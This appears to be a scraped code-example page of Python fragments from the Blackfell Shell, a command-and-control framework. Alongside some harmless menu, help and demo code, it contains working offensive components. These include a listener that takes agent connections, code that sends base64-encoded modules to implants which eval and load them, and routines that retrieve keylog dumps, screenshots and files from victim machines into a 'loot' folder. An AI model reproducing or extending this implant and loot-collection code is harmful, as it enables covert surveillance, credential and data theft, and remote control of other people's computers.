Esempio n. 1
0
    def load_implant_methods(self, mod_spec):
        """Loads modules into the dropper, converting the dictionaries
         to strings and sending it down the tunnel as needed"""

        try:
            #Go one method at a time, only if a menu method is specified
            for method in (i for i in mod_spec['methods'] if i['implant']):
                #bc.blue_print("[-] ", "- Adding method {} to implant {}".format(method['name'], self.name))
                #get and import the module to be added
                import_dict = {method['name'] : ''}
                filename = mod_spec['load_dir'] + method['implant']
                #print("Filename - {}".format(filename))
                with open(filename, 'r') as f:
                    #print("Opened file")
                    for line in f:
                        #print(line)
                        import_dict[method['name']] += line
                #print("open complete : {}".format(import_dict))
                #Send it on down for inclusion
                #print("DEBUG - preparing to send!")
                self.send('load ' +  b64encode(str(import_dict).encode()).decode())
                #print("DEBUG - Commadn to send :{}".format(self.command))
                #print("DEBUG - sent!")
                success = self.recv(print_flag=False, string = True)    #No printing!
                #print("Testing {} against {}".format(self.response, 'load complete'))
                if 'Successfully Loaded' not in success:
                    bc.err_print("[!] ", "- Method {} did not load in {} client side.".format(method['name'], self.name))
                else:
                    self.modules[mod_spec['mod_name']]['commands'][method['name']] = method['help']
                    bc.success("Loaded : {} in {}.".format(method['name'], self.name))
        except Exception as e:
            bc.err_print("[!] ", "- Exception loading implant module:\n\t{}".format(e))
            #Clear out the recv_buffer Now
            time.sleep(1)
            agent.recv(print_flag=False, blocking=False)
Esempio n. 2
0
    def do_load(self, line):
        """Load a module into agent, implant or menu, based off module spec
        files, which are found and loaded into the menu, agent and implant
        as needed."""

        if not line:
            bc.warn_print("[!] ", "No module specified.")
            return
        try:
            #Load module functionality into agent(s)
            module_spec = self.load_path + line + '.yml'
            bc.blue_print("[+] ", "- Loading module: {}".format(line))
            with open(module_spec) as f:
                ms = yaml.load(f, Loader=yaml.FullLoader)

            #Menu modules not often loaded, so check before you load.
            for m in ms['methods']:
                if m['menu']:
                    self.load_methods(ms)

            for agent in self.active_agents:
                #agent.load_agent_methods(ms)
                agent.send_q.put('load_agent_methods ')
                agent.send_q.put(ms)
                time.sleep(1)  #Let agent catch up, smooths experience for user
            self.check_loaded()
            bc.blue_print("[+] ", "Load command sent.")
            ms = ''  #reset variable

        #Now load agent and implant modules
        except Exception as e:
            bc.err_print("[!] ",
                         "- Exception loading menu module:\n{}".format(e))
        finally:
            self.check_loaded()
Esempio n. 3
0
    def do_exit(self, line, sigint=None):
        """Leave the Blackfell Shell Framework,
        terminating all agents & listeners. (-y to force)"""

        input_str = bc.warn_format(
            "[-]",
            " Do you want to exit, terminating all agents and listeners? [Y/n]:"
        )
        if '-y' not in line and input(
                input_str.format(line)).lower() not in ['y', 'yes', 'ye']:
            return False
        else:
            for l in self.root_menu.listeners:
                l.terminate()
                l.join(self.terminate_timeout)
                if l.is_alive() == 1:
                    bc.err_print(
                        "[!] ",
                        "- Could not elegantly kill listener: {}, continuing.".
                        format(l.name))
            bc.blue_print("[!] ", "- All Listeners killed.")
            time.sleep(0.2)
            self.post_loop()
            sys.exit(0)
            return True
Esempio n. 4
0
    def check_loaded(self):
        """Check all loaded commands and methods, reporting on any clashes"""

        try:
            ##print("Checking loaded")
            loaded_methods = {}
            help = {}
            for agent in self.active_agents:
                for mod in agent.modules.keys():
                    #print("DEBUG _ TRying to add to loaded methods: {}\n adding help for {}\n from {}".format(loaded_methods, mod, agent.modules))
                    loaded_methods[mod] = agent.modules[mod]['help']
                    help[mod] = agent.modules[mod]['commands']
            #print("Check loaded retunred: {}".format(loaded_methods))
            #Finally, set the global loaded methods variable
            self.loaded_methods = loaded_methods
            for h in help.values():
                for cmd, hlp in h.items():
                    self.method_help[cmd] = hlp
            #Now check if any agents are missing a methods
            for agent in self.active_agents:
                for mod, meths in self.loaded_methods.items():
                    #print("DEBUG - Agent: {} module: {}, methods: {}".format(agent.name, mod, meths))
                    if mod not in agent.modules:
                        bc.warn_print(
                            "\n[!] ",
                            "- Agent: {} missing module: {}.\n".format(
                                agent.name, mod))
                        return False
            #print("DEBUG - loaded_methods: {}".format(self.loaded_methods))
        except:
            bc.err_print(
                "[!] ",
                "Error checking loaded modules, are some agents missing modules?"
            )
Esempio n. 5
0
    def setup(self):
        """Configures and tests the module, anything that sanity checks
        user input can be put in here"""

        #Override this with any pre-module tests you need
        acceptable_colors = ['red', 'orange', 'blue', 'green', None]
        if self.get_option('color') not in acceptable_colors:
            bc.err_print(
                "[!] ",
                "- Color {} invalid - must be set to red, orange, green, blue or None."
                .format(self.options['color'][0]))
            return False
        #Check if we can cast this particular variable to an integer
        try:
            self.set_option('num_prints', int(self.get_option('num_prints')))
        except:
            bc.err(
                "num_prints {} invalid - must be integer. Cannot auto-convert."
                .format(self.options['num_prints'][0]))
            return False
        if not isinstance(self.get_option('num_prints'), int):
            bc.err("num_prints invalid - must be integer.")
            return False
        if not isinstance(self.get_option('message'), str):
            bc.err("num_prints invalid - must be integer.")
            return False
        if not self.check_bool('exit_on_exec'):
            return False

        return True
Esempio n. 6
0
def main(agent, args=None):
    """Order and receive screenshots from dropper, displays if requested"""

    try:
        settings = parse_args(agent, args)
        if not settings:
            bc.err("Error parsing args : {}".format(settings))
            return
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png'
        #receive the file!
        gotsz = False
        raw_bytes = b''

        #Get the agent to screenshot
        agent.send('screenshot')
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    continue
                if not gotsz:
                    size = chunk[8:].decode()  #Size tuple as string
                    size = (int(size.split(',')[0]), int(size.split(',')[1]))
                    gotsz = True
                    #print("DEBUG - Img size : {}".format(size))
                elif chunk.endswith(b'<BSEOF>'):
                    raw_bytes += chunk[:-7]
                    break
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Download screnshot chunk failed because : {}. Try again?".
                    format(e))
                break

        #Reconstruct the image from raw raw bytesb
        bc.info("Reconstructing image.")
        img = Image.frombytes('RGB', size, raw_bytes)

        if settings['show']:
            img.show()
        img.save(file_name)
        img.close()

        bc.green_print(
            "\n[+] ",
            "{} - screenshot saved to : {}".format(agent.name, file_name))
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Screenshot failed : {}".format(agent.name, e))
        #Flush socket
        chunk = b''
        while b'<BSEOF>' not in chunk:
            chunk = agent.recv(print_flag=False, blocking=False)
Esempio n. 7
0
    def do_reset(self, line):
        """reset a global option back to the default"""

        try:
            self.global_options[line] = self.defaults[line]
            #If we're resetting keys, also check & generate if needed
            if line == 'RSA_KEY':
                self.check_key(self)
        except Exception as e:
            bc.err_print("[!] ",
                         "- Exception when setting {} :\n\t{}".format(line, e))
Esempio n. 8
0
 def do_use(self, line):
     """Overridden use method, now using listener modules only"""
     cmd, args, line = self.parseline(line)
     bc.blue_print("[-] ", "Using listener:  {}".format(line))
     #Concatenate the use path (from base menu for modules, with the selected module name
     module_path = self.use_path + line
     #Handle calling bad modules by accident
     try:
         module_menu = mod.BSUseModuleMenu(self, module_path)
         module_menu.cmdloop()
     except Exception as e:
         bc.err_print("[!] ", "- Exception calling module, is this a real module? Check module guidance.\n\t{}".format(e))
Esempio n. 9
0
    def default(self, line):
        """Gets called if no agent method is loaded, will send command
        down to implant for processing."""

        for agent in self.active_agents:
            try:
                agent.send_q.put(line)
                #time.sleep(0.5) #time to let the agent process
            except Exception as e:
                bc.err_print(
                    "[!] ",
                    "- Exception calling agent method {} on agent {}:\n\t{}".
                    format(line, agent.name, e))
Esempio n. 10
0
def get_keylog_dump(agent, show=False):
    """REceive large amounts of keylog data by looping recieve function"""

    try:
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'keylog' + '-' + agent.name + timestamp + '.txt'
        #receive the file!
        raw_bytes = b''
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    #bc.info("Empty chunk, passing")
                    continue
                if chunk.endswith(b'<BSEOF>'):
                    chunk = chunk[:-7]
                    raw_bytes += chunk
                    break
                elif b'BSEOF' in chunk:
                    bc.err(
                        'Dump failed, unexpected EOF location in:\n{}.'.format(
                            chunk))
                    raise ValueError("Out of place <BSEOF>")
                    break  #It's all over now
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Keylog dump chunk failed because : {}. Try again?".format(
                        e))
                return
            #gracefully stop download operation
            finally:
                chunk = ''
        #REconstruct the image from raw raw bytes
        dump = degzip(raw_bytes)
        with open(file_name, 'w') as f:
            f.write(dump.decode())
        bc.green_print(
            "\n[+] ",
            "{} - Keylog dump saved to : {}".format(agent.name, file_name))
        if show:
            bc.success("{} keylog data:\n".format(agent.name), False)
            print(dump.decode())
        return True
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Keylog dump failed : {}".format(agent.name, e))
        return False
Esempio n. 11
0
def main():
    """Function that runs the Blackfell Shell C2, including setting up modules etc."""

    colorama.init()  #Ansi escape codes in Windows!
    args = get_args()
    check_root(args.noconfirm)

    ## Run the shell
    bs = home.BSMainMenu()

    if sys.platform == 'linux':
        #Setup PATH to point to requirements - usually in ~/.local/bin
        os.environ[
            'PATH'] = os.environ['HOME'] + '/.local/bin:' + os.environ['PATH']

    #Handle resource files
    if args.resource_file:
        #Declare to interpreter that we're running a resource file
        bs.q['read'].put("RESOURCE")
        #Run interpreter as a thread
        t = threading.Thread(target=bs.cmdloop)
        t.start()
        with open(args.resource_file, 'r') as f:
            """Pipe commands via stdin, can't use standard run utils because
            we're using nested interpreters"""
            sys.stdin = f
            """Stdin doesn't reassign properly until a keypress don't ask me
            why it just doesn't OK? This is a workaround to get the interpreter
            to start. If it's stupid and it works, it's not stupid. Mostly."""
            kbd = keyboard.Controller()
            kbd.press(keyboard.Key.enter)
            kbd.release(keyboard.Key.enter)
            #Read all the lines of resource file, then back to normal
            while True:
                #Now check if resource file done and if so, reset stdin
                if not bs.q['write'].empty() and bs.q['write'].get() == "DONE":
                    bc.green_print("[+] ", " - Resource file complete.")
                    sys.stdin = sys.__stdin__
                    break
                else:
                    #Not done yet
                    time.sleep(0.1)
    else:
        #bs.cmdloop()
        # The real thing to be done once done developing!
        try:
            bs.cmdloop()
        except Exception as e:
            print("Exception in loop : {} ".format(e))
            bc.err_print("[!] ", "- Exiting.")
Esempio n. 12
0
    def get_load_path(self):
        """Get the load path for each agent, checking that they don't clash"""

        last_lp = None
        lp = None
        for agent in self.active_agents:
            last_lp = lp
            lp = agent.load_path
            if last_lp and last_lp != lp:
                bc.err_print(
                    "[!] ",
                    "- Your agents have different load paths, have you actiated different types of agent?"
                )
                self.do_exit('exit')
        self.load_path = lp
Esempio n. 13
0
    def do_execute(self, line):
        """runs the module, calling requirement checks and setup functions
        beforehand. Will exit if checks return False"""

        bc.blue_print("[-] ", "- Seting up module...".format(line))
        if not self.module_instance.check_required():
            bc.err_print("[!] ",
                         "- Execute failed. Some required options not set.")
            return
        if not self.module_instance.setup():
            bc.err_print("[!] ", "- Module test, failed.")
            return
        bc.green_print("[!] ", "- Setup complete. Executing...")
        if self.module_instance.run():
            #Exit on true was set, module will return true and module menu will be exited.
            return True
Esempio n. 14
0
    def do_reset(self, line):
        """sets an option back to the option configured as module default"""

        #No parsing required as no arguments for this one
        try:
            if self.module_instance.reset_option(line):
                #TODO - do menu - side verification of this
                #Like - if self.module_instance.set_attr(cmd, args) and getattr(self.module_instance.options, cmd)['value'] == args:
                bc.green_print("[-] ", "- Reset successfully.")
            else:
                bc.err_print("\n[!] ",
                             "- Error, {} could not be reset.\n".format(line))
        except Exception as e:
            bc.err_print(
                "\n[!] ",
                "- Exception whilst resetting {}:\n{}\n".format(cmd, e))
Esempio n. 15
0
    def do_use(self, line):
        """select and initialise a BS module, will find module specs
        and load the associated python file for configuration."""

        cmd, args, line = self.parseline(line)
        bc.blue_print("[-] ", "Using module:  {}".format(line))
        #Concatenate the use path (from base menu for modules, with the selected module name
        module_path = self.use_path + line
        #Handle calling bad modules by accident
        try:
            module_menu = mod.BSUseModuleMenu(self, module_path)
            module_menu.cmdloop()
        except Exception as e:
            bc.err_print(
                "[!] ",
                "- Exception calling module, is this a real module? Check module guidance.\n\t{}"
                .format(e))
Esempio n. 16
0
    def do_help(self, line):
        """Function to print help for this specific command."""

        if line in self.method_help.keys():
            bc.blue_print("\n[-] ", self.method_help[line])
            print("")
        elif "help_" + line in dir(self):
            try:
                caller = getattr(self, 'help_' + line)
                caller()
            except:
                bc.err_print(
                    "[!] ",
                    "- Error, helop for {} not implemented correctly".format(
                        line))
        else:
            self.print_loaded_methods()
Esempio n. 17
0
    def terminate(self):
        """Kill self and all agents"""

        #Free up the queue
        for agent in self.agent_list:
            #self.send_q.put('terminate')
            agent.kill_flag.set()
        for agent in self.agent_list:
            #agent.send_q.put('terminate')
            agent.join(self.terminate_timeout)
            if agent.is_alive() == 1:
                bc.err_print("[!] ", "- Could not elegantly kill Agent: {}, continuing.".format(agent.name))
                bc.warn("Trying emergency kill method.")
                agent._emergency_raise()
        self.terminated = True
        time.sleep(0.3)
        self.kill_flag.set()
Esempio n. 18
0
    def load_agent_methods(self):
        """Load modules into this agent dynamically, reading in the module
        spec and loading from that dictionary."""

        #print("Getting mod spec")
        mod_spec = self.send_q.get()    #In this case, the args are passed in a second send
        #print("Agent {} got mod spec : type: {},\n {}".format(self.name, type(mod_spec), mod_spec))
        try:
            #Set up commands dict to populate
            self.modules[mod_spec['mod_name']] = { 'commands' : {}, 'help' : []}
            #self.modules[mod_spec['mod_name']]['commands'] = {}
            #Go one method at a time, only if a menu method is specified
            for method in (i for i in mod_spec['methods'] if i['agent'] ):
                #bc.blue_print("[-] ", "- Adding method {} to agent {}".format(method['name'], self.name))
                #get and import the module to be added
                import_dict = {method['name'] : ''}
                filename = mod_spec['load_dir'] + method['agent']
                #print("Filename - {}".format(filename))
                with open(filename, 'r') as f:
                    #print("Opened file")
                    for line in f:
                        #print(line)
                        import_dict[method['name']] += line
                #print("open complete : {}".format(import_dict))
                mod, funcs = importer.bs_import(import_dict)
                if not mod or not funcs:
                    raise ImportError("BSImporter failed to import module code.")

                #bc.blue_print("[-] ","Loading : {} with funcs:\n{}".format(mod, funcs))
                #print("imported")
                self.modules[mod_spec['mod_name']]['commands'][mod.__name__] = method['help']
                #print("added, modules information")
                setattr(self, mod.__name__ , MethodType(mod.main, self))
                #print('Set functions')

        except Exception as e:
            bc.err_print("[!] ", "- Exception loading agent module:\n\t{}".format(e))

        #Now load into each agents
        self.load_implant_methods(mod_spec)

        #Finally populate the modules help
        #h = mod_spec['help']
        self.modules[mod_spec['mod_name']]['help'] = mod_spec['help']
Esempio n. 19
0
    def load(self, args=None):
        """Load python from a dictionary sent from the listener"""

        try:
            import_dict = eval(b64decode(args))
            bc.blue_print(
                "[-] ", "Import dic evaluated fine : {}\n:{}".format(
                    type(import_dict), import_dict))
            mod, funcs = importer.bs_import(import_dict)
            bc.blue_print("[-] ",
                          "Loading : {} with funcs:\n{}".format(mod, funcs))
            setattr(self, mod.__name__, MethodType(mod.main, self))
            print("Registered {} as {}.".format(mod.__name__, mod.main))
            self.commands[mod.__name__] = getattr(self, mod.__name__)
            print("Load complete, setting response")
            self.send('Successfully Loaded : {}.'.format(mod.__name__))
        except Exception as e:
            bc.err_print("[!] ",
                         "- Exception when loading module : {}".format(e))
            self.send('Load Failed for : {}'.format(args))
Esempio n. 20
0
    def do_set(self, line):
        """Set a module option, using the set_option method
        in the module itself"""

        cmd, args, line = self.parseline(line)
        try:
            if self.module_instance.set_option(cmd, args) and args:
                #TODO - do menu - side verification of this
                #Like - if self.module_instance.set_attr(cmd, args) and getattr(self.module_instance.options, cmd)['value'] == args:
                bc.green_print(
                    "[-] ", "- {} set successfully to {}.".format(cmd, args))
            elif not args:
                bc.warn_print("[!] ", "- No value provided.")
            else:
                bc.err_print(
                    "[!] ",
                    "- Error, {} could not be set to {}".format(cmd, args))
        except Exception as e:
            bc.err_print("\n[!] ",
                         "- Exception whilst setting {}:\n{}\n".format(cmd, e))
Esempio n. 21
0
    def run(self):
        col = self.color['value']
        msg = self.message['value']
        bc.green_print("[!] ", "- Print incoming!")
        #Override with what to do with this class when it runs
        for time in range(self.num_prints['value']):
            if col == 'red':
                bc.err_print(msg, "")
            elif col == 'orange':
                bc.warn_print(msg, "")
            elif self.color['value'] == 'blue':
                bc.blue_print(msg, "")
            elif self.color['value'] == 'green':
                bc.green_print(msg, "")
            else:
                print(msg)

        if bool(self.exit_on_exec['value']) == True:
            bc.green_print("[!] ", "- Module executed, exiting.")
            return True
Esempio n. 22
0
    def do_interact(self, line):
        """Opens an interact menu and starts an interactive interpreter with
        all agents whose active flag is set."""

        if not line:
            agents = []
            for l in self.root_menu.listeners:
                for a in l.agent_list:
                    if a.is_alive() == 1 and a.active:
                        agents.append(a)
            bc.blue_print(
                "[+] ",
                "- Interacting with {} active agents".format(len(agents)))
            interact = intr.BSInteractMenu(self, agents)
            interact.cmdloop()
        else:
            if line in self.enum_agents():
                bc.blue_print("[+] ", "- Interacting with {}".format(line))
                interact = intr.BSInteractMenu(self, [line])
                interact.cmdloop()
            else:
                bc.err_print("[!] ",
                             "- Error - Agent {} not available.".format(line))
Esempio n. 23
0
    def run(self):
        """Main module code, called when the module is executed
        This module prints user provided messages to the console"""

        bc.success("Print incoming!")
        #Override with what to do with this class when it runs
        for time in range(self.options['num_prints']['value']):
            if self.get_option('color') == 'red':
                bc.err_print(self.options['message']['value'], '')
            elif self.get_option('color') == 'orange':
                bc.warn_print(self.options['message']['value'], '')
            elif self.get_option('color') == 'blue':
                bc.blue_print(self.options['message']['value'], '')
            elif self.get_option('color') == 'green':
                bc.green_print(self.options['message']['value'], '')
            else:
                print(self.get_option('message'))
        #Success variable can be used to check if sub-modules ran successfully
        #Unused in this case, but important if we don't want to exit failed modules.
        success = True
        if bool(self.get_option('exit_on_exec')) == True and success:
            bc.success("Module executed, exiting.")
            return True
Esempio n. 24
0
    def module_test(self):
        #Override this with any pre-module tests you need
        acceptable_colors=['red', 'orange', 'blue', 'green', None]
        if self.color['value'] not in acceptable_colors:
            bc.err_print("[!] ", "- Color {} invalid - must be set to red, orange, green, blue or None.".format(self.color['value']))
            return False
        #Check if we can cast this particular variable to an integer
        try:
            self.num_prints['value'] = int(self.num_prints['value'])
        except:
            bc.err_print("[!] ", "- num_prints invalid - must be integer. Cannot auto-convert.")
            return False
        if not isinstance(self.num_prints['value'], int):
            bc.err_print("[!] ", "- num_prints invalid - must be integer.")
            return False
        if not isinstance(self.message['value'], str):
            bc.err_print("[!] ", "- num_prints invalid - must be integer.")
            return False

        return True
Esempio n. 25
0
def main(agent, file=None):
    """REquest a file from the dropper, then receive raw data
    until the dropper sneds an end of file marker. Save to a local
    timestamped file"""

    try:
        if not file:
            bc.err_print("[!] ", "- Error - no file specified.")
            return
        agent.send('download ' + file)
        bc.info("{} downloading {}".format(agent.name, file))
        #Setup file to save here
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        if len(file.split('.')) > 1:
            nm = '.'.join(file.split('.')[:-1])
            ext = '.' + '.'.join(file.split('.')[-1:])
        else:
            nm = file
            ext = ''
        file_name = agent.listener.loot_dir + nm + ext + '-' + agent.name + timestamp + ext
        temp_file = agent.listener.loot_dir + agent.name + 'temp.dnld'
        count = 0
        last_completion = 0
        tot_bytes = 0
        completion = 0
        gotsz = False
        scrn_w, scrn_h = os.get_terminal_size()
        scrn_w = scrn_w - 7 - 20  #7 less for percentage figures + prompt + slack
        prnt_str = '{} {} {}%\r'.format('{:>' + str(int(scrn_w)) + '}', '{}',
                                        '{}')
    except Exception as e:
        bc.err("Exception: {}".format(e))
        return

    with open(file_name, 'wb') as f:
        while True:
            try:
                chunk = agent.recv(print_flag=False,
                                   debug=False,
                                   string=False,
                                   blocking=False)
                if not chunk:
                    #We're non-blocking, so there may be empty chunks
                    continue
                if b'File not found' in chunk:
                    bc.err(
                        '{} unable to download, {} file may not exist.'.format(
                            agent.name, file))
                    return
                elif not gotsz:
                    size = float(chunk.decode()[8:])
                    #Get size to print:
                    if size / 1000000000 >= 1:
                        prnt_size = '{} Gb'.format(
                            round((size / 1024000000.0), 1))
                    elif size / 1000000 >= 1:
                        prnt_size = '{} Mb'.format(round((size / 1024000.0),
                                                         1))
                    elif size / 1000 >= 1:
                        prnt_size = '{} Kb'.format(round((size / 1024.0), 1))
                    else:
                        prnt_size = '{} byte'.format(size)
                    #Now print it
                    print("")  #Neaten output
                    bc.info("{} downloading {} data.".format(
                        agent.name, prnt_size))
                    gotsz = True
                elif chunk.endswith(b'<BSEOF>'):
                    chunk = chunk[:-7]
                    f.write(
                        chunk
                    )  # Write those last received bits without the word 'BSEOF'
                    chunk = ''  #Because we don't want orphan bits of chunk
                    break
                else:
                    f.write(chunk)
                    tot_bytes += len(chunk)
                    completion = (tot_bytes / size) * 100
                    if round(completion, 0) - round(last_completion, 0) >= 1.0:
                        #print("{}% downloaded.".format(int(round(completion, 0))))
                        #print('{} downloaded {}[%d%%]\r'%int(round(completion, 0)), end="")
                        print('{} downloaded {}%\r'.format(
                            bc.blue_format("[+] ", '- ' + agent.name),
                            int(round(completion, 0))),
                              end="")

                        #print(prnt_str.format(
                        #        bc.blue_format("[+] ", '- ' + agent.name), ' downloaded ',int(
                        #        round(completion, 0))), end="")

                        #print("Chunks : {}, tot_bytes : {}".format(count, tot_bytes))
                    last_completion = completion

            except Exception as e:
                bc.err(
                    "Download chunk failed because : {}. Try again?".format(e))
                clear_pipe = b''
                while b'<BSEOF>' not in clear_pipe:
                    clear_pipe = agent.recv(print_flag=False)
                    return
                #gracefully stop download operation
            finally:
                count += 1
                chunk = ''
    print("")
    bc.success('Download complete: {}'.format(file_name), True)
Esempio n. 26
0
def main():
    bc.err_print(
        "[!] ",
        "- You're running the Base Menu class as main, did you mean to do this?"
    )
Esempio n. 27
0
def demo():
    """Print a series of demo BShell commands to console"""

    w, h = os.get_terminal_size()
    w = 0.9 * w  #Scale for beauty

    bc.info(
        "The BlackfellShell can be used to run any python module written for it, but the key functionality it allows is running agents."
    )
    time.sleep(5)
    bc.info("All modules are called using the keyword 'use' like this:")
    time.sleep(5)
    print("BS >\r", end="")
    time.sleep(1)
    fake_type('BS > ', 'use auxiliary/example')
    print("")
    bc.info("Using module:  auxiliary/example")
    print("""
    Example module, for use in understanding the BShell.

    Hello world within the BShell. Prints your message a number of times.
    num_repeats must be a string.
    color can be green, red, orange or blue.
    """)
    print("BS : " + bc.green_format("modules/auxiliary/example", "") + " >")
    time.sleep(10)
    bc.info("Once you've activated a module, you'll switch to a new menu.")
    time.sleep(2)
    bc.info("This new menu will allow you to configure and run the module.")
    time.sleep(2)
    bc.info("Start by getting module info:")
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'None', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(5)
    bc.info("Each option in the module can be set with the 'set' keyword")
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set color red')
    print("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ")
    time.sleep(4)
    bc.info("Let's check it made a change.")
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    bc.info("Showing info for module:\n")

    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'red', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(4)
    bc.info(
        "If you didn't like that, the reset keyword will set options back to default."
    )
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'reset color')
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    time.sleep(1)
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'None', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(4)
    bc.info("You must set all required options.")
    time.sleep(4)
    bc.info(
        "Modules will test for required options, and maybe other things when they run."
    )
    time.sleep(4)
    bc.info("Let's configure the rest of this module now.")
    time.sleep(5)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set message Hello, World.')
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set color red')
    time.sleep(2)
    bc.info(
        "You can use tab completion on most settings, just hit tab once you've started typing."
    )
    time.sleep(5)
    message = "BS : " + bc.green_format("modules/auxiliary/example",
                                        "") + " > "
    for i in 'set nu':
        message += i
        print('{}\r'.format(message), end="")
        time.sleep(0.1)
    time.sleep(1)
    print('{}<TAB>\r'.format(message), end="")
    time.sleep(0.5)
    print('{}<TAB>\r'.format(message), end="")
    time.sleep(1)
    message = message + 'm_prints'
    print('{}\r'.format(message), end="")
    time.sleep(4)
    fake_type(message, ' 8')
    time.sleep(4)
    print("")
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    time.sleep(1)
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'Hello, World.', 'None', 'True'],
               ['num_prints', '8', 'None', 'True'],
               ['color', 'red', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(5)
    bc.info(
        "Now you're all configured, you can run the module with the 'execute' keyword"
    )
    time.sleep(5)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'execute')
    time.sleep(1)
    bc.info("Setting up module...")
    bc.success("Setup complete. Executing...")
    bc.green_print("[-] ", "Print incoming!")
    for i in range(8):
        bc.err_print("Hello, World.", "")
    bc.green_print("[-] ", "Module executed, exiting.")
    time.sleep(5)
    bc.info(
        "Most commands have help messages you can use, just type help in any menu."
    )
    time.sleep(3)
    bc.success("Good luck!")
Esempio n. 28
0
    def run(self):
        """Main function called when listere thread starts"""

        try:
            #Check RSA key again, never too careful
            if not self.check_RSA_KEY():
                bc.err("RSA Key not valid. If you're stuck reset in home menu.")
                success == False
                raise ValueError("RSA Key invalid")
            bc.info('Starting listener on {}:{}'.format(self.LHOST, self.LPORT), True)  #Strong info
            self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                self.s.bind((self.LHOST, self.LPORT))
                self.s.listen(self.max_conns)      #Listen for max of N connectionsa
                self.success = True
            except Exception as e:
                bc.err_print('[!] ', '- Failed to bind socket : \n {}'.format( str(e)))
                self.s.shutdown(socket.SHUT_RDWR)
                self.s.close()
                return
            while True:
                #'print("DEBUG - Listener looping again!")
                self.s.settimeout(0.5)  #Socket must timeout to enable loop
                if not self.kill_flag.is_set():
                    #Run general COMMANDS
                    if not self.send_q.empty():
                        self.command = self.send_q.get_nowait()  #False non blocking
                        #It's hogging CPU, is the queue maybe full of blank strings?
                        if self.command == '':
                            continue
                        self.do_method()
                    #Handle TCP connection
                    try:
                        c = self.s.accept()    #Timeout on accept so we can read the queue
                        (conn, client_address) = c
                        agt = Agent(self, conn, client_address)
                        agt.name = "agt-"+ self.name + "-" + str(len(self.agent_list) +1)
                        self.agent_list.append(agt)
                        agt.start()
                        bc.blue_print("\n[!] ", "- Agent connected : {}.".format(agt.name))
                        c = None    #So the loop behaves
                    #If no agent in the timeout, let's get q stuff
                    except socket.timeout:
                        pass
                        #Now print anything in the queue:
                        if not self.recv_q.empty():
                            #print("reading q2")
                            resp = self.recv_q.get()
                            #print("reading q3")
                            bc.blue_print("[-] ", "- Received :".format(resp))
                            time.sleep(5) # TODO - remove
                else:
                    self.s.shutdown(socket.SHUT_RDWR)
                    self.s.close()
                    break #Kill thread

